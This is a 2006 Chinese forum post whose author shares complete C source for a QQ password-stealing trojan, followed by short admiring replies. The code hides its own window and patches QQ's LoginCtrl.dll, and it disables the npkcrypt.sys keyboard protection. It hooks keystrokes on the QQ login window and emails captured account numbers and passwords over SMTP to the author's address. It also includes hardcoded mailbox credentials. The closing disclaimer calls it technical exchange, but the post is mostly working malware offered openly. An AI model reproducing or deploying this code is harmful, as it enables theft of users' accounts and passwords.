QQ木马核心编程。。。。(C实现)

88250

传点自己的程序过来。。。。

:3:呵呵，假期在家里。看看数据结构，看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!

还记得以前写过些关于初级QQ盗号程序的帖子（自己也只有这个水平－ －#），这个假期称着有时间，整理了一下。好了，废话不多说，下面介绍一下这个程序的4个大的部分：

1.Search QQ  Directory。这是相当关键的一步，是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找，貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然，这样的话就只能在QQ运行的状态下测试了，否则就得自己在源码里设定QQ的安装路径。
2.Crack Keyboard Protection.以前有写过，这里不再啰嗦。。。。
3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章，那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了，用了个自己写的.dll。后来发现那样不方便，而且自己是在用C（结合Win32 API）写Console的东西，所以就可以自己定义一下控制台的处理。。。。详见源码吧－ －！
4.Send Mail。这是最后一步，也是最关键的一步！可惜现在我是技术不过关，用的是SMTP协议进行的发送，这样会被防火墙发现的。。。。哎。。。。
好了，介绍就到这里，下面是源码了：

1. 
   
2. /* 文件名：QQ Keyboard Recorder.c
   
3. *   用途：对QQ击键型木马的表面研究
   
4. * 完成日期： 2006.8   Ver 0.01
   
5. *  作者： 88250
   
6. *  联系方式： E-mail: DL88250@gmail.com \ QQ:845765
   
7. */
   
8. #define _WIN32_WINNT 0x0400
   
9. #include <io.h>
   
10. #include <stdio.h>
    
11. #include <stdlib.h>
    
12. #include <windows.h>
    
13. #include <Tlhelp32.h>
    
14. #include <psapi.h>
    
15. 
    
16. #define USER_ID 0x0000008A
    
17. #define PSW_ID        0x000000B4
    
18. 
    
19. #pragma comment(lib, "psapi.lib")
    
20. #pragma comment(lib, "user32.lib")
    
21. #pragma comment(lib, "ws2_32.lib")
    
22. 
    
23. char sDirPath[255] = "C:\\Program Files\\QQ";
    
24. char sUser[255] = {'U', 's', 'e', 'r', ':', ' '};
    
25. char sPsw[255] = {'.', 'P', 's', 'w', 'd', ':', ' '};
    
26. char MailData[255] = "From: "dl88250"<dl82850@126.com>\r\n"
    
27.                                         "Subject: ";
    
28. int nPsw = 7;
    
29. HWND hLogin = NULL, hUser = NULL, hPsw = NULL, hWnd = NULL;
    
30. HWND hSelf = NULL;
    
31. DWORD g_tid = 0;            /* 当前的线程ID */
    
32. HHOOK g_hook = NULL;        /* Keyboard Hook Handle */
    
33. 
    
34. int KillProcess(char *c1, char *c2)
    
35. {
    
36.         int nSecFlag = 0;      /* 关闭成功的标志 */
    
37.         HANDLE handle = NULL;
    
38.         PROCESSENTRY32 *info = NULL;  /* 进程快照结构体 */
    
39.         handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    
40.         info = (PROCESSENTRY32 *)malloc(sizeof(PROCESSENTRY32));
    
41.         info->dwSize = sizeof(PROCESSENTRY32);
    
42.         Process32First(handle, info);
    
43.         /* 开始枚举当前进程 */
    
44.         while (Process32Next(handle, info) != FALSE){
    
45.                 info->szExeFile;
    
46.                 if ((0 == strcmp(c1, info->szExeFile)) || (0 == strcmp(c2, info->szExeFile))){
    
47.                         hWnd = (HWND)OpenProcess(PROCESS_TERMINATE, FALSE, info->th32ProcessID);
    
48.                         TerminateProcess(hWnd, 0);       /* 结束 */
    
49.                         nSecFlag = 1;
    
50.                 }
    
51.         }
    
52.         CloseHandle(handle);
    
53.         if (1 == nSecFlag){
    
54.             return 1;
    
55.         }else{
    
56.                 return 0;     /* 结束失败 */
    
57.         }
    
58. }
    
59. 
    
60. void SendMail(void)
    
61. {
    
62.         WSADATA wsaData;
    
63.         WORD wVersionRequested = MAKEWORD(2, 2);
    
64.     struct hostent *pHostent = NULL;
    
65.     SOCKET server = INVALID_SOCKET;
    
66.     struct sockaddr_in service;
    
67. 
    
68.     char Buffer[1024] = {0};
    
69.         WSAStartup(wVersionRequested, &wsaData);
    
70.     server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
71.     pHostent = gethostbyname("smtp.126.com");
    
72.     service.sin_family = AF_INET;
    
73.     memcpy(&service.sin_addr.s_addr, pHostent->h_addr_list[0], pHostent->h_length);
    
74.     service.sin_port = htons(25);
    
75.     connect(server, (struct sockaddr*)&service, sizeof(service));
    
76.     recv(server, Buffer, sizeof(Buffer), 0);
    
77.     send(server, "HELO Server....\r\n", strlen("HELO Server....\r\n"), 0);
    
78.     recv(server, Buffer, sizeof(Buffer), 0);
    
79.     send(server, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0);
    
80.     recv(server, Buffer, sizeof(Buffer), 0);
    
81.     send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
    
82.     recv(server, Buffer, sizeof(Buffer), 0);
    
83.     send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
    
84.     recv(server, Buffer, sizeof(Buffer), 0);
    
85.     send(server, "MAIL FROM: <lbeyond4koma@126.com>\r\n", strlen("MAIL FROM: <lbeyond4koma@126.com>\r\n"), 0);
    
86.     recv(server, Buffer, sizeof(Buffer), 0);
    
87.     send(server, "RCPT TO: <dl88250@gmail.com>\r\n", strlen("RCPT TO: <dl88250@gmail.com>\r\n"), 0);
    
88.     recv(server, Buffer, sizeof(Buffer), 0);
    
89.     send(server, "Data\r\n", strlen("Data\r\n"), 0);
    
90.     recv(server, Buffer, sizeof(Buffer), 0);
    
91.     send(server, MailData, strlen(MailData), 0);
    
92.     recv(server, Buffer, sizeof(Buffer), 0);
    
93.     send(server, "QUIT\r\n", strlen("QUIT\r\n"), 0);
    
94.     WSACleanup();
    
95.         printf("Success!");
    
96.         ExitProcess(0);
    
97.         return;
    
98. }
    
99. /* 处理一下截取的帐号和密码，并整合到邮件主题里 */
    
100. void DealWith(void)
     
101. {
     
102.         strcat(MailData, sUser);
     
103.         strcat(MailData, sPsw);
     
104.         strcat(MailData, "\r\n.\r\n");
     
105.         printf("%s", MailData);
     
106.         SendMail();
     
107.         return;
     
108. }
     
109. /* 枚举子窗口，寻找QQ号以及密码的控件Handle */
     
110. BOOL CALLBACK EnumChildWndProc (HWND hwnd, LPARAM lParam)
     
111. {
     
112.         long id = GetWindowLong(hwnd, GWL_ID);
     
113.         if (!hwnd){
     
114.         return FALSE;
     
115.         }
     
116.         if (id == USER_ID){
     
117.                 hUser = hwnd;
     
118.         }else if (id == PSW_ID){
     
119.                 hPsw = hwnd;
     
120.         }
     
121.         return TRUE;
     
122. }
     
123. 
     
124. /* 定义console的处理函数，用于退出当前的线程，以便Hook */
     
125. BOOL CALLBACK con_handler(DWORD g_tid)
     
126. {
     
127.         PostThreadMessage(g_tid, WM_QUIT, 0, 0);
     
128.         return TRUE;
     
129. }
     
130. /* 分析键盘按键，这里基本没在做大小写的判定。
     
131. × 而且在登录的时候只能用回车。。。。
     
132. */
     
133. LRESULT CALLBACK kb_proc(int code, WPARAM wParam, LPARAM lParam)
     
134. {
     
135.         PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
     
136.         if (wParam == WM_KEYDOWN && p->vkCode == VK_RETURN && lParam > 0){
     
137.             SendMessage(hUser, WM_GETTEXT, 20, (LPARAM)(sUser + 6));
     
138.                 UnhookWindowsHookEx(g_hook);
     
139.                 DealWith();             /* 开始处理截取的数据 */
     
140.         }
     
141.         if ((wParam == WM_KEYDOWN) && ((p->vkCode > 47) && (p->vkCode < 58))){
     
142.                 sPsw[nPsw] = p->vkCode;
     
143.                 nPsw++;
     
144.                 goto next;
     
145.         }
     
146.         if ((wParam == WM_KEYDOWN) && ((p->vkCode > 64) && (p->vkCode < 91))){
     
147.                 sPsw[nPsw] = p->vkCode + 32;
     
148.                 nPsw++;
     
149.                 goto next;
     
150.         }
     
151.         if (((wParam == WM_KEYDOWN) && ((GetKeyState(VK_CAPITAL) & 1) || (GetKeyState(VK_SHIFT) & 1)))
     
152.                 && (((p->vkCode > 64) && (p->vkCode < 91)))){
     
153.                 sPsw[nPsw] = p->vkCode;
     
154.                 nPsw++;
     
155.                 goto next;
     
156.         }
     
157.         next:
     
158.                 return CallNextHookEx(g_hook, code, wParam, lParam);
     
159. }
     
160. 
     
161. /* 查找需要的句柄， 并开始Hook*/
     
162. void Start(void)
     
163. {
     
164.         MSG msg;
     
165.         if (hLogin = FindWindow("#32770", "QQ用户登录")){
     
166.                 EnumChildWindows(hLogin, EnumChildWndProc, 0);
     
167.                 if (hUser != NULL){
     
168.                         g_tid = GetCurrentThreadId();
     
169.                         SetConsoleCtrlHandler(&con_handler, TRUE);
     
170.                         g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, &kb_proc, GetModuleHandle(NULL),0);
     
171.                         while (GetMessage(&msg, NULL, 0, 0)){
     
172.                                 TranslateMessage(&msg);
     
173.                                 DispatchMessage(&msg);
     
174.                         }
     
175.                 }
     
176.         }
     
177.         return;
     
178. }
     
179. /* 对QQ:\\LoginCtrl.dll以及npkcrypt.sys文件动点手脚^^，实现破解键盘保护*/
     
180. void Crack(void)
     
181. {
     
182.         char crack[1];
     
183.         char sLCpath[255];
     
184.         char sNpkcrypt[255], sNpkcryptDL[255];
     
185.         FILE *f = NULL;
     
186.         strcpy(sLCpath, sDirPath);
     
187.         strcpy(sNpkcrypt, sDirPath);
     
188.         strcat(sNpkcrypt, "\\npkcrypt.sys");
     
189.         strcpy(sNpkcryptDL, sDirPath);
     
190.         strcat(sNpkcryptDL, "\\npkcrypt.DL");
     
191.         rename(sNpkcrypt, sNpkcryptDL);
     
192.         f = fopen(strcat(sLCpath, "\\LoginCtrl.dll"), "rb+");
     
193.         if (f == NULL){
     
194.             return;
     
195.         }
     
196.         fseek(f, 63921, SEEK_SET);
     
197.         crack[0] = 115;                          // 116 -> 115
     
198.         fwrite(crack, sizeof(char), 1, f);
     
199.         fseek(f, 64105, SEEK_SET);
     
200.         crack[0] = 193;           // 194 -> 193
     
201.         fwrite(crack, sizeof(char), 1, f);
     
202.         fseek(f, 64135, SEEK_SET);
     
203.         crack[0] = 158;                          // 159 -> 158
     
204.         fwrite(crack, sizeof(char), 1, f);
     
205. 
     
206.         fclose(f);
     
207. 
     
208.         return;
     
209. }
     
210. 
     
211. int main(void)
     
212. {
     
213.         DWORD processid[1024], pBytesReturned[1024], processSum, i;
     
214.         HANDLE hProcess;
     
215.         HMODULE hModule;
     
216.         char path[MAX_PATH] = "";
     
217.         hSelf = FindWindow("ConsoleWindowClass", NULL);   /* 程序自身Handle */
     
218.         /* 实现自身的伪隐藏 */
     
219.         SetWindowLong(hSelf, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
     
220.         SetWindowPos(hSelf, HWND_BOTTOM, 0, 0, 0, 0, SWP_HIDEWINDOW);
     
221.         /* 枚举当前进程，找到QQ进程后关闭 */
     
222.         EnumProcesses(processid, sizeof(processid), pBytesReturned);
     
223.         processSum = *pBytesReturned / sizeof(DWORD);
     
224.         for (i = 0; i < processSum; i++){
     
225.                 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processid[i]);
     
226.                 if (hProcess){
     
227.                         EnumProcessModules(hProcess, &hModule, sizeof(hModule), pBytesReturned);
     
228.                         GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));
     
229.                         GetShortPathName(path, path, 256);
     
230.                         if (strstr(path, "QQ.exe") || strstr(path, "QQ.EXE")){
     
231.                                 strcpy(sDirPath, path);
     
232.                         }
     
233.                 }
     
234.         }
     
235.         CloseHandle(hProcess);
     
236.         CloseHandle(hModule);
     
237.         *(sDirPath + (strlen(sDirPath) - 6)) = '\0';
     
238.         for (i = strlen(sDirPath); i > 1; i--){
     
239.             sDirPath[i+1] = sDirPath[i];
     
240. 
     
241.         }
     
242.         sDirPath[++i] = '\\';
     
243.         Crack();
     
244.         Start();
     
245.         Sleep(5000);
     
246.         if (1 == KillProcess("QQ.EXE", "QQ.exe")){
     
247.                 Crack();
     
248.                 strcpy(path, sDirPath);
     
249.                 strcat(path, "\\QQ.exe");
     
250.                 WinExec(path, SW_SHOW);
     
251.         }
     
252.         Crack();
     
253.         while (TRUE){
     
254.                 Sleep(8);     /* 降低CPU占用 */
     
255.                 Start();
     
256.         }
     
257. }
     

复制代码

再次申明，这个东西还是有一定有危险性的－ －！这里只是技术上的交流，不要乱弄。。。。

[ 本帖最后由 88250 于 2006-9-13 12:44 编辑 ]

地狱幻想

哈哈,支持,楼主好厉害哦...

88250

原帖由 地狱幻想 于 2006-9-15 11:22 发表
哈哈,支持,楼主好厉害哦...

谢谢支持。。。。

答案

厉害